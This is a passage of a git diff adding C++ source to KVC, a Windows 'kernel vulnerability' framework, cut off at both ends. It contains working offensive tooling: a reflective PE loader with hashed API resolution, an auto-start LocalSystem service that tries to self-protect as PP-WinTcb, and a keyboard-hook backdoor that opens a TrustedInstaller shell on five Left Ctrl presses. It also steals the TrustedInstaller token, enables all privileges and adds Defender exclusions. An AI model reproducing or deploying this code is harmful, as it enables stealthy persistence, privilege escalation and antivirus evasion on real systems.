reinterpret_cast(reinterpret_cast(&pOldNtHeaders->OptionalHeader) + pOldNtHeaders->FileHeader.SizeOfOptionalHeader); + for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++) + { + auto pSectionSource = reinterpret_cast(uiModuleBase + pSectionHeader[i].PointerToRawData); + auto pSectionDest = reinterpret_cast(uiNewImageBase + pSectionHeader[i].VirtualAddress); + const DWORD dwSectionSize = pSectionHeader[i].SizeOfRawData; + + std::copy(pSectionSource, pSectionSource + dwSectionSize, pSectionDest); + } + + // Process base relocations for position-independent execution + const auto uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase; + auto pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + if (pRelocationData->Size > 0 && uiDelta != 0) + { + auto pRelocBlock = reinterpret_cast(uiNewImageBase + pRelocationData->VirtualAddress); + while (pRelocBlock->VirtualAddress) + { + const DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + auto pRelocEntry = reinterpret_cast(reinterpret_cast(pRelocBlock) + sizeof(IMAGE_BASE_RELOCATION)); + + for (DWORD k = 0; k < dwEntryCount; k++) + { +#if defined(_M_X64) || defined(_M_ARM64) + if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64) + { + *reinterpret_cast(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta; + } +#else + if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW) + { + *reinterpret_cast(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += static_cast(uiDelta); + } +#endif + } + pRelocBlock = reinterpret_cast(reinterpret_cast(pRelocBlock) + pRelocBlock->SizeOfBlock); + } + } + + // Process import address table and resolve external dependencies + auto pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + if (pImportData->Size > 0) + { + auto pImportDesc = reinterpret_cast(uiNewImageBase + pImportData->VirtualAddress); + while (pImportDesc->Name) + { + auto sModuleName = reinterpret_cast(uiNewImageBase + pImportDesc->Name); + const HINSTANCE hModule = fnLoadLibraryA(sModuleName); + if (hModule) + { + auto pOriginalFirstThunk = reinterpret_cast(uiNewImageBase + pImportDesc->OriginalFirstThunk); + auto pFirstThunk = reinterpret_cast(uiNewImageBase + pImportDesc->FirstThunk); + if (!pOriginalFirstThunk) + pOriginalFirstThunk = pFirstThunk; + + while (pOriginalFirstThunk->u1.AddressOfData) + { + FARPROC pfnImportedFunc; + if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) + { + pfnImportedFunc = fnGetProcAddress(hModule, reinterpret_cast(pOriginalFirstThunk->u1.Ordinal & 0xFFFF)); + } + else + { + auto pImportByName = reinterpret_cast(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData); + pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name); + } + pFirstThunk->u1.Function = reinterpret_cast(pfnImportedFunc); + pOriginalFirstThunk++; + pFirstThunk++; + } + } + pImportDesc++; + } + } + + // Execute security module entry point with parameter passing + auto fnModuleEntry = reinterpret_cast(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint); + fnNtFlushInstructionCache(reinterpret_cast(-1), nullptr, 0); + fnModuleEntry(reinterpret_cast(uiNewImageBase), DLL_PROCESS_ATTACH, lpLoaderParameter); + + return uiNewImageBase; +} \ No newline at end of file diff --git a/kvc/SelfLoader.h b/kvc/SelfLoader.h new file mode 100644 index 0000000..4524e46 --- /dev/null +++ b/kvc/SelfLoader.h @@ -0,0 +1,90 @@ +// SelfLoader.h - Minimal position-independent PE loader +#ifndef SelfLoader_H +#define SelfLoader_H +#pragma once + +#define WIN32_LEAN_AND_MEAN +#include +#include + +#if defined(_MSC_VER) +#define DLLEXPORT __declspec(dllexport) +#else +#define DLLEXPORT +#endif + +// Function pointer types for dynamic API resolution +typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR); +typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR); +typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD); +typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG); +typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID); + +// Hash computation constants for position-independent code +#define HASH_KEY 13 + +// Pre-computed hashes for API resolution without Import Table +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +// Minimal Unicode string for module name access +typedef struct _UNICODE_STRING_LDR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR; + +// Minimal LDR entry containing only essential fields for module walking +typedef struct _LDR_DATA_TABLE_ENTRY_MINIMAL +{ + LIST_ENTRY InLoadOrderLinks; // +0x00 + LIST_ENTRY InMemoryOrderLinks; // +0x10 Used for CONTAINING_RECORD + LIST_ENTRY InInitializationOrderLinks; // +0x20 + PVOID DllBase; // +0x30 Module base address + PVOID EntryPoint; // +0x38 + ULONG SizeOfImage; // +0x40 + UNICODE_STRING_LDR FullDllName; // +0x48 + UNICODE_STRING_LDR BaseDllName; // +0x58 Module name for hashing +} LDR_DATA_TABLE_ENTRY_MINIMAL, *PLDR_DATA_TABLE_ENTRY_MINIMAL; + +// Minimal PEB LDR data containing only module list +typedef struct _PEB_LDR_DATA_MINIMAL +{ + BYTE Reserved1[8]; // +0x00 + PVOID Reserved2[3]; // +0x08 + LIST_ENTRY InMemoryOrderModuleList; // +0x20 Module enumeration list +} PEB_LDR_DATA_MINIMAL, *PPEB_LDR_DATA_MINIMAL; + +// Minimal PEB structure with only required fields +typedef struct _PEB_MINIMAL +{ + BYTE Reserved1[24]; // +0x00-0x17 + PPEB_LDR_DATA_MINIMAL Ldr; // +0x18 Pointer to loader data +} PEB_MINIMAL, *PPEB_MINIMAL; + +// Base relocation entry for PE image fix-ups +typedef struct _IMAGE_RELOC_ENTRY +{ + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY; + +// PEB access for position-independent code +#if defined(_M_X64) +#define GET_PEB() reinterpret_cast(__readgsqword(0x60)) +#elif defined(_M_ARM64) +#define GET_PEB() reinterpret_cast(__readx18qword(0x60)) +#else +#error "Unsupported architecture" +#endif + +// Entry point export +DLLEXPORT ULONG_PTR WINAPI InitializeSecurityContext(LPVOID lpParameter); + +#endif \ No newline at end of file diff --git a/kvc/ServiceManager.cpp b/kvc/ServiceManager.cpp new file mode 100644 index 0000000..f6bff84 --- /dev/null +++ b/kvc/ServiceManager.cpp @@ -0,0 +1,485 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "ServiceManager.h" +#include "Controller.h" +#include "KeyboardHook.h" +#include "common.h" +#include + +// Service static members +SERVICE_STATUS_HANDLE ServiceManager::s_serviceStatusHandle = nullptr; +SERVICE_STATUS ServiceManager::s_serviceStatus = {}; +HANDLE ServiceManager::s_serviceStopEvent = nullptr; +volatile bool ServiceManager::s_serviceRunning = false; + +// Global service components +static std::unique_ptr g_serviceController = nullptr; +static std::unique_ptr g_keyboardHook = nullptr; + +bool ServiceManager::InstallService(const std::wstring& exePath) noexcept +{ + if (!InitDynamicAPIs()) { + ERROR(L"Failed to initialize service APIs"); + return false; + } + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE); + if (!hSCM) { + ERROR(L"Failed to open Service Control Manager: %d", GetLastError()); + return false; + } + + // Build service command line with --service parameter + std::wstring servicePath = L"\"" + exePath + L"\" --service"; + + SC_HANDLE hService = g_pCreateServiceW( + hSCM, + SERVICE_NAME, + SERVICE_DISPLAY_NAME, + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + servicePath.c_str(), + nullptr, // No load ordering group + nullptr, // No tag identifier + nullptr, // No dependencies + nullptr, // LocalSystem account + nullptr // No password + ); + + if (!hService) { + DWORD error = GetLastError(); + CloseServiceHandle(hSCM); + + if (error == ERROR_SERVICE_EXISTS) { + INFO(L"Service already exists, attempting to update configuration"); + + hService = g_pOpenServiceW(hSCM, SERVICE_NAME, SERVICE_CHANGE_CONFIG); + if (hService) { + BOOL success = ChangeServiceConfigW( + hService, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + servicePath.c_str(), + nullptr, nullptr, nullptr, nullptr, nullptr, SERVICE_DISPLAY_NAME + ); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + if (success) { + SUCCESS(L"Service configuration updated successfully"); + return true; + } else { + ERROR(L"Failed to update service configuration: %d", GetLastError()); + return false; + } + } + return false; + } + + ERROR(L"Failed to create service: %d", error); + return false; + } + + // Set service description + SERVICE_DESCRIPTIONW serviceDesc = {}; + serviceDesc.lpDescription = const_cast(SERVICE_DESCRIPTION); + ChangeServiceConfig2W(hService, SERVICE_CONFIG_DESCRIPTION, &serviceDesc); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + SUCCESS(L"Service '%s' installed successfully", SERVICE_DISPLAY_NAME); + + // Attempt to start the service + if (StartServiceProcess()) { + SUCCESS(L"Service started successfully"); + } else { + INFO(L"Service installed but failed to start automatically"); + } + + return true; +} + +bool ServiceManager::UninstallService() noexcept +{ + if (!InitDynamicAPIs()) { + ERROR(L"Failed to initialize service APIs"); + return false; + } + + // First try to stop the service + StopServiceProcess(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!hSCM) { + ERROR(L"Failed to open Service Control Manager: %d", GetLastError()); + return false; + } + + SC_HANDLE hService = g_pOpenServiceW(hSCM, SERVICE_NAME, DELETE); + if (!hService) { + DWORD error = GetLastError(); + CloseServiceHandle(hSCM); + + if (error == ERROR_SERVICE_DOES_NOT_EXIST) { + INFO(L"Service does not exist"); + return true; + } + + ERROR(L"Failed to open service for deletion: %d", error); + return false; + } + + BOOL success = g_pDeleteService(hService); + DWORD error = GetLastError(); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + if (!success) { + if (error == ERROR_SERVICE_MARKED_FOR_DELETE) { + SUCCESS(L"Service marked for deletion (will be removed after next reboot)"); + return true; + } + ERROR(L"Failed to delete service: %d", error); + return false; + } + + SUCCESS(L"Service '%s' uninstalled successfully", SERVICE_DISPLAY_NAME); + return true; +} + +bool ServiceManager::StartServiceProcess() noexcept +{ + if (!InitDynamicAPIs()) return false; + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!hSCM) return false; + + SC_HANDLE hService = g_pOpenServiceW(hSCM, SERVICE_NAME, SERVICE_START); + if (!hService) { + CloseServiceHandle(hSCM); + return false; + } + + BOOL success = g_pStartServiceW(hService, 0, nullptr); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + return success || GetLastError() == ERROR_SERVICE_ALREADY_RUNNING; +} + +bool ServiceManager::StopServiceProcess() noexcept +{ + if (!InitDynamicAPIs()) return false; + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!hSCM) return false; + + SC_HANDLE hService = g_pOpenServiceW(hSCM, SERVICE_NAME, SERVICE_STOP); + if (!hService) { + CloseServiceHandle(hSCM); + return false; + } + + SERVICE_STATUS status; + BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &status); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + return success || GetLastError() == ERROR_SERVICE_NOT_ACTIVE; +} + +int ServiceManager::RunAsService() noexcept +{ + // Enable debug output to Event Log for service debugging + AllocConsole(); + freopen_s((FILE**)stdout, "CONOUT$", "w", stdout); + freopen_s((FILE**)stderr, "CONOUT$", "w", stderr); + + INFO(L"SERVICE MODE: Starting service dispatcher..."); + + // Service table for dispatcher + SERVICE_TABLE_ENTRYW serviceTable[] = { + { const_cast(SERVICE_NAME), ServiceMain }, + { nullptr, nullptr } + }; + + // Start service control dispatcher + if (!StartServiceCtrlDispatcherW(serviceTable)) { + ERROR(L"SERVICE MODE: StartServiceCtrlDispatcher failed: %d", GetLastError()); + return 1; + } + + INFO(L"SERVICE MODE: Service dispatcher completed"); + return 0; +} + +VOID WINAPI ServiceManager::ServiceMain(DWORD argc, LPWSTR* argv) +{ + INFO(L"SERVICE: ServiceMain entry point reached"); + + // Register service control handler + s_serviceStatusHandle = RegisterServiceCtrlHandlerW(SERVICE_NAME, ServiceCtrlHandler); + if (!s_serviceStatusHandle) { + ERROR(L"SERVICE: RegisterServiceCtrlHandler failed: %d", GetLastError()); + return; + } + + INFO(L"SERVICE: Control handler registered successfully"); + + // Initialize service status + s_serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + s_serviceStatus.dwCurrentState = SERVICE_START_PENDING; + s_serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; + s_serviceStatus.dwWin32ExitCode = NO_ERROR; + s_serviceStatus.dwServiceSpecificExitCode = 0; + s_serviceStatus.dwCheckPoint = 0; + s_serviceStatus.dwWaitHint = 5000; + + SetServiceStatus(SERVICE_START_PENDING, NO_ERROR, 5000); + INFO(L"SERVICE: Status set to START_PENDING"); + + // Create stop event + s_serviceStopEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr); + if (!s_serviceStopEvent) { + ERROR(L"SERVICE: Failed to create service stop event: %d", GetLastError()); + SetServiceStatus(SERVICE_STOPPED, GetLastError()); + return; + } + + INFO(L"SERVICE: Stop event created successfully"); + + // SET RUNNING FLAG BEFORE INITIALIZING COMPONENTS + s_serviceRunning = true; + INFO(L"SERVICE: Service running flag set to TRUE"); + + // Initialize service components + if (!InitializeServiceComponents()) { + ERROR(L"SERVICE: Failed to initialize service components"); + SetServiceStatus(SERVICE_STOPPED, ERROR_SERVICE_SPECIFIC_ERROR); + ServiceCleanup(); + return; + } + + INFO(L"SERVICE: Components initialized successfully"); + + // Create worker thread + HANDLE hWorkerThread = CreateThread(nullptr, 0, ServiceWorkerThread, nullptr, 0, nullptr); + if (!hWorkerThread) { + ERROR(L"SERVICE: Failed to create worker thread: %d", GetLastError()); + SetServiceStatus(SERVICE_STOPPED, GetLastError()); + ServiceCleanup(); + return; + } + + INFO(L"SERVICE: Worker thread created successfully"); + + // Service is now running + SetServiceStatus(SERVICE_RUNNING); + SUCCESS(L"SERVICE: Kernel Vulnerability Capabilities Framework service started successfully"); + + // Wait for stop signal + INFO(L"SERVICE: Waiting for worker thread completion..."); + WaitForSingleObject(hWorkerThread, INFINITE); + CloseHandle(hWorkerThread); + + INFO(L"SERVICE: Worker thread completed, performing cleanup..."); + + // Cleanup and exit + ServiceCleanup(); + SetServiceStatus(SERVICE_STOPPED); + + INFO(L"SERVICE: ServiceMain exiting"); +} + +VOID WINAPI ServiceManager::ServiceCtrlHandler(DWORD ctrlCode) +{ + switch (ctrlCode) { + case SERVICE_CONTROL_STOP: + case SERVICE_CONTROL_SHUTDOWN: + INFO(L"SERVICE: Stop/shutdown requested"); + SetServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); + s_serviceRunning = false; + if (s_serviceStopEvent) { + SetEvent(s_serviceStopEvent); + } + break; + + case SERVICE_CONTROL_INTERROGATE: + SetServiceStatus(s_serviceStatus.dwCurrentState); + break; + + default: + INFO(L"SERVICE: Unknown control code received: %d", ctrlCode); + break; + } +} + +DWORD WINAPI ServiceManager::ServiceWorkerThread(LPVOID param) +{ + INFO(L"SERVICE WORKER: Thread started, running flag = %s", s_serviceRunning ? L"TRUE" : L"FALSE"); + + DWORD loopCount = 0; + + // Main service loop + while (s_serviceRunning) { + loopCount++; + + if (loopCount % 12 == 0) { // Every minute (12 * 5 seconds) + INFO(L"SERVICE WORKER: Heartbeat - loop iteration %d", loopCount); + } + + // Wait for stop event with timeout for periodic tasks + DWORD waitResult = WaitForSingleObject(s_serviceStopEvent, 5000); + + if (waitResult == WAIT_OBJECT_0) { + INFO(L"SERVICE WORKER: Stop event signaled"); + break; + } + + if (waitResult == WAIT_TIMEOUT) { + // Normal timeout, continue loop + continue; + } + + if (waitResult == WAIT_FAILED) { + ERROR(L"SERVICE WORKER: WaitForSingleObject failed: %d", GetLastError()); + break; + } + } + + INFO(L"SERVICE WORKER: Thread exiting after %d iterations", loopCount); + return 0; +} + +bool ServiceManager::SetServiceStatus(DWORD currentState, DWORD exitCode, DWORD waitHint) noexcept +{ + static DWORD checkPoint = 1; + + s_serviceStatus.dwCurrentState = currentState; + s_serviceStatus.dwWin32ExitCode = exitCode; + s_serviceStatus.dwWaitHint = waitHint; + + if (currentState == SERVICE_START_PENDING || currentState == SERVICE_STOP_PENDING) { + s_serviceStatus.dwCheckPoint = checkPoint++; + } else { + s_serviceStatus.dwCheckPoint = 0; + } + + BOOL result = ::SetServiceStatus(s_serviceStatusHandle, &s_serviceStatus); + + const wchar_t* stateName = L"UNKNOWN"; + switch (currentState) { + case SERVICE_START_PENDING: stateName = L"START_PENDING"; break; + case SERVICE_RUNNING: stateName = L"RUNNING"; break; + case SERVICE_STOP_PENDING: stateName = L"STOP_PENDING"; break; + case SERVICE_STOPPED: stateName = L"STOPPED"; break; + } + + INFO(L"SERVICE: Status set to %s, result = %s", stateName, result ? L"SUCCESS" : L"FAILED"); + + return result != FALSE; +} + +bool ServiceManager::InitializeServiceComponents() noexcept +{ + INFO(L"SERVICE INIT: Starting component initialization..."); + + try { + // Initialize controller with atomic operations + INFO(L"SERVICE INIT: Creating Controller instance..."); + g_serviceController = std::make_unique(); + INFO(L"SERVICE INIT: Controller created successfully"); + + // Self-protect the service with PP-WinTcb + INFO(L"SERVICE INIT: Attempting self-protection with PP-WinTcb..."); + if (!g_serviceController->SelfProtect(L"PP", L"WinTcb")) { + ERROR(L"SERVICE INIT: Failed to set service self-protection to PP-WinTcb"); + // Continue anyway - protection failure is not critical for basic operation + } else { + SUCCESS(L"SERVICE INIT: Service protected with PP-WinTcb"); + } + + // Initialize keyboard hook for 5x Left Ctrl - THIS IS OPTIONAL + INFO(L"SERVICE INIT: Attempting to install keyboard hook..."); + g_keyboardHook = std::make_unique(); + if (!g_keyboardHook->Install()) { + ERROR(L"SERVICE INIT: Failed to install keyboard hook - continuing without it"); + // Don't fail the service if keyboard hook fails + // Services often can't access interactive desktop + g_keyboardHook.reset(); + } else { + SUCCESS(L"SERVICE INIT: Keyboard hook installed (5x Left Ctrl → TrustedInstaller CMD)"); + } + + INFO(L"SERVICE INIT: Component initialization completed successfully"); + return true; + + } catch (const std::exception& e) { + std::string msg = e.what(); + std::wstring wmsg(msg.begin(), msg.end()); + ERROR(L"SERVICE INIT: Exception during initialization: %s", wmsg.c_str()); + return false; + } catch (...) { + ERROR(L"SERVICE INIT: Unknown exception during initialization"); + return false; + } +} + +void ServiceManager::ServiceCleanup() noexcept +{ + INFO(L"SERVICE CLEANUP: Starting cleanup process..."); + + // Cleanup keyboard hook + if (g_keyboardHook) { + INFO(L"SERVICE CLEANUP: Uninstalling keyboard hook..."); + g_keyboardHook->Uninstall(); + g_keyboardHook.reset(); + INFO(L"SERVICE CLEANUP: Keyboard hook cleanup completed"); + } + + // Cleanup controller (automatic driver cleanup) + if (g_serviceController) { + INFO(L"SERVICE CLEANUP: Cleaning up controller..."); + g_serviceController.reset(); + INFO(L"SERVICE CLEANUP: Controller cleanup completed"); + } + + // Close stop event + if (s_serviceStopEvent) { + INFO(L"SERVICE CLEANUP: Closing stop event..."); + CloseHandle(s_serviceStopEvent); + s_serviceStopEvent = nullptr; + INFO(L"SERVICE CLEANUP: Stop event closed"); + } + + SUCCESS(L"SERVICE CLEANUP: All cleanup completed"); +} \ No newline at end of file diff --git a/kvc/ServiceManager.h b/kvc/ServiceManager.h new file mode 100644 index 0000000..ad0a547 --- /dev/null +++ b/kvc/ServiceManager.h @@ -0,0 +1,45 @@ +#pragma once + +#include "common.h" +#include +#include + +// NT Service management for single-binary deployment +class ServiceManager +{ +public: + ServiceManager() = default; + ~ServiceManager() = default; + + ServiceManager(const ServiceManager&) = delete; + ServiceManager& operator=(const ServiceManager&) = delete; + + // Service lifecycle management + static bool InstallService(const std::wstring& exePath) noexcept; + static bool UninstallService() noexcept; + static bool StartServiceProcess() noexcept; + static bool StopServiceProcess() noexcept; + static int RunAsService() noexcept; + + // Service configuration + static constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl"; + static constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework"; + static constexpr const wchar_t* SERVICE_DESCRIPTION = L"Provides kernel-level process protection and vulnerability assessment capabilities"; + +private: + // Service entry points + static VOID WINAPI ServiceMain(DWORD argc, LPWSTR* argv); + static VOID WINAPI ServiceCtrlHandler(DWORD ctrlCode); + static DWORD WINAPI ServiceWorkerThread(LPVOID param); + + // Service state management + static SERVICE_STATUS_HANDLE s_serviceStatusHandle; + static SERVICE_STATUS s_serviceStatus; + static HANDLE s_serviceStopEvent; + static volatile bool s_serviceRunning; + + // Internal helpers + static bool SetServiceStatus(DWORD currentState, DWORD exitCode = NO_ERROR, DWORD waitHint = 0) noexcept; + static void ServiceCleanup() noexcept; + static bool InitializeServiceComponents() noexcept; +}; \ No newline at end of file diff --git a/kvc/TrustedInstallerIntegrator.cpp b/kvc/TrustedInstallerIntegrator.cpp new file mode 100644 index 0000000..9d36d69 --- /dev/null +++ b/kvc/TrustedInstallerIntegrator.cpp @@ -0,0 +1,1128 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "TrustedInstallerIntegrator.h" +#include "common.h" +#include +#include +#include +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; + +#pragma comment(lib, "advapi32.lib") +#pragma comment(lib, "user32.lib") +#pragma comment(lib, "ole32.lib") +#pragma comment(lib, "shell32.lib") + +// Complete system privilege set for maximum access elevation +const LPCWSTR TrustedInstallerIntegrator::ALL_PRIVILEGES[] = { + L"SeAssignPrimaryTokenPrivilege", + L"SeBackupPrivilege", + L"SeRestorePrivilege", + L"SeDebugPrivilege", + L"SeImpersonatePrivilege", + L"SeTakeOwnershipPrivilege", + L"SeLoadDriverPrivilege", + L"SeSystemEnvironmentPrivilege", + L"SeManageVolumePrivilege", + L"SeSecurityPrivilege", + L"SeShutdownPrivilege", + L"SeSystemtimePrivilege", + L"SeTcbPrivilege", + L"SeIncreaseQuotaPrivilege", + L"SeAuditPrivilege", + L"SeChangeNotifyPrivilege", + L"SeUndockPrivilege", + L"SeCreateTokenPrivilege", + L"SeLockMemoryPrivilege", + L"SeCreatePagefilePrivilege", + L"SeCreatePermanentPrivilege", + L"SeSystemProfilePrivilege", + L"SeProfileSingleProcessPrivilege", + L"SeCreateGlobalPrivilege", + L"SeTimeZonePrivilege", + L"SeCreateSymbolicLinkPrivilege", + L"SeIncreaseBasePriorityPrivilege", + L"SeRemoteShutdownPrivilege", + L"SeIncreaseWorkingSetPrivilege" +}; + +const int TrustedInstallerIntegrator::PRIVILEGE_COUNT = sizeof(TrustedInstallerIntegrator::ALL_PRIVILEGES) / sizeof(LPCWSTR); + +// TrustedInstaller token cache with timeout mechanism +static HANDLE g_cachedTrustedInstallerToken = nullptr; +static DWORD g_lastTokenAccessTime = 0; +static const DWORD TOKEN_CACHE_TIMEOUT = 30000; // 30 seconds + +TrustedInstallerIntegrator::TrustedInstallerIntegrator() +{ + CoInitialize(NULL); +} + +TrustedInstallerIntegrator::~TrustedInstallerIntegrator() +{ + CoUninitialize(); + + if (g_cachedTrustedInstallerToken) { + CloseHandle(g_cachedTrustedInstallerToken); + g_cachedTrustedInstallerToken = nullptr; + } +} + +// TrustedInstaller token acquisition with comprehensive privilege elevation +HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() { + DWORD currentTime = GetTickCount(); + + // Return cached token if still valid + if (g_cachedTrustedInstallerToken && + (currentTime - g_lastTokenAccessTime) < TOKEN_CACHE_TIMEOUT) { + return g_cachedTrustedInstallerToken; + } + + // Clean up expired token + if (g_cachedTrustedInstallerToken) { + CloseHandle(g_cachedTrustedInstallerToken); + g_cachedTrustedInstallerToken = nullptr; + } + + // Enable required privileges for TrustedInstaller access + if (!EnablePrivilege(L"SeDebugPrivilege")) { + ERROR(L"Failed to enable SeDebugPrivilege"); + return nullptr; + } + if (!EnablePrivilege(L"SeImpersonatePrivilege")) { + ERROR(L"Failed to enable SeImpersonatePrivilege"); + return nullptr; + } + EnablePrivilege(L"SeAssignPrimaryTokenPrivilege"); + + // Impersonate SYSTEM to access TrustedInstaller + if (!ImpersonateSystem()) { + ERROR(L"Failed to impersonate SYSTEM - required for TrustedInstaller access"); + return nullptr; + } + + // Start TrustedInstaller service if needed + DWORD trustedInstallerPid = StartTrustedInstallerService(); + if (!trustedInstallerPid) { + ERROR(L"Failed to start TrustedInstaller service"); + RevertToSelf(); + return nullptr; + } + + // Open TrustedInstaller process + HANDLE hTrustedInstallerProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, trustedInstallerPid); + if (!hTrustedInstallerProcess) { + ERROR(L"Failed to open TrustedInstaller process (error: %d)", GetLastError()); + RevertToSelf(); + return nullptr; + } + + // Open TrustedInstaller token + HANDLE hTrustedInstallerToken; + if (!OpenProcessToken(hTrustedInstallerProcess, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hTrustedInstallerToken)) { + ERROR(L"Failed to open TrustedInstaller token (error: %d)", GetLastError()); + CloseHandle(hTrustedInstallerProcess); + RevertToSelf(); + return nullptr; + } + + // Duplicate token for impersonation + HANDLE hDuplicatedToken; + if (!DuplicateTokenEx(hTrustedInstallerToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, + TokenImpersonation, &hDuplicatedToken)) { + ERROR(L"Failed to duplicate TrustedInstaller token (error: %d)", GetLastError()); + CloseHandle(hTrustedInstallerToken); + CloseHandle(hTrustedInstallerProcess); + RevertToSelf(); + return nullptr; + } + + CloseHandle(hTrustedInstallerToken); + CloseHandle(hTrustedInstallerProcess); + + RevertToSelf(); + + // Enable all possible privileges on the duplicated token + int privilegesEnabled = 0; + for (int i = 0; i < PRIVILEGE_COUNT; i++) { + TOKEN_PRIVILEGES tp; + LUID luid; + + if (LookupPrivilegeValueW(NULL, ALL_PRIVILEGES[i], &luid)) { + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + if (AdjustTokenPrivileges(hDuplicatedToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { + privilegesEnabled++; + } + } + } + + // Cache the token for future use + g_cachedTrustedInstallerToken = hDuplicatedToken; + g_lastTokenAccessTime = currentTime; + + SUCCESS(L"TrustedInstaller token cached successfully"); + return g_cachedTrustedInstallerToken; +} + +// Enhanced Defender exclusion management with type specification +bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const std::wstring& value) +{ + std::wstring processedValue = value; + + // Type-specific validation and processing + switch (type) { + case ExclusionType::Extensions: + if (!ValidateExtension(value)) { + ERROR(L"Invalid extension format: %s", value.c_str()); + return false; + } + processedValue = NormalizeExtension(value); + break; + + case ExclusionType::IpAddresses: + if (!ValidateIpAddress(value)) { + ERROR(L"Invalid IP address format: %s", value.c_str()); + return false; + } + break; + + case ExclusionType::Processes: + // Extract process name from full path if provided + if (value.find(L'\\') != std::wstring::npos) { + fs::path path(value); + processedValue = 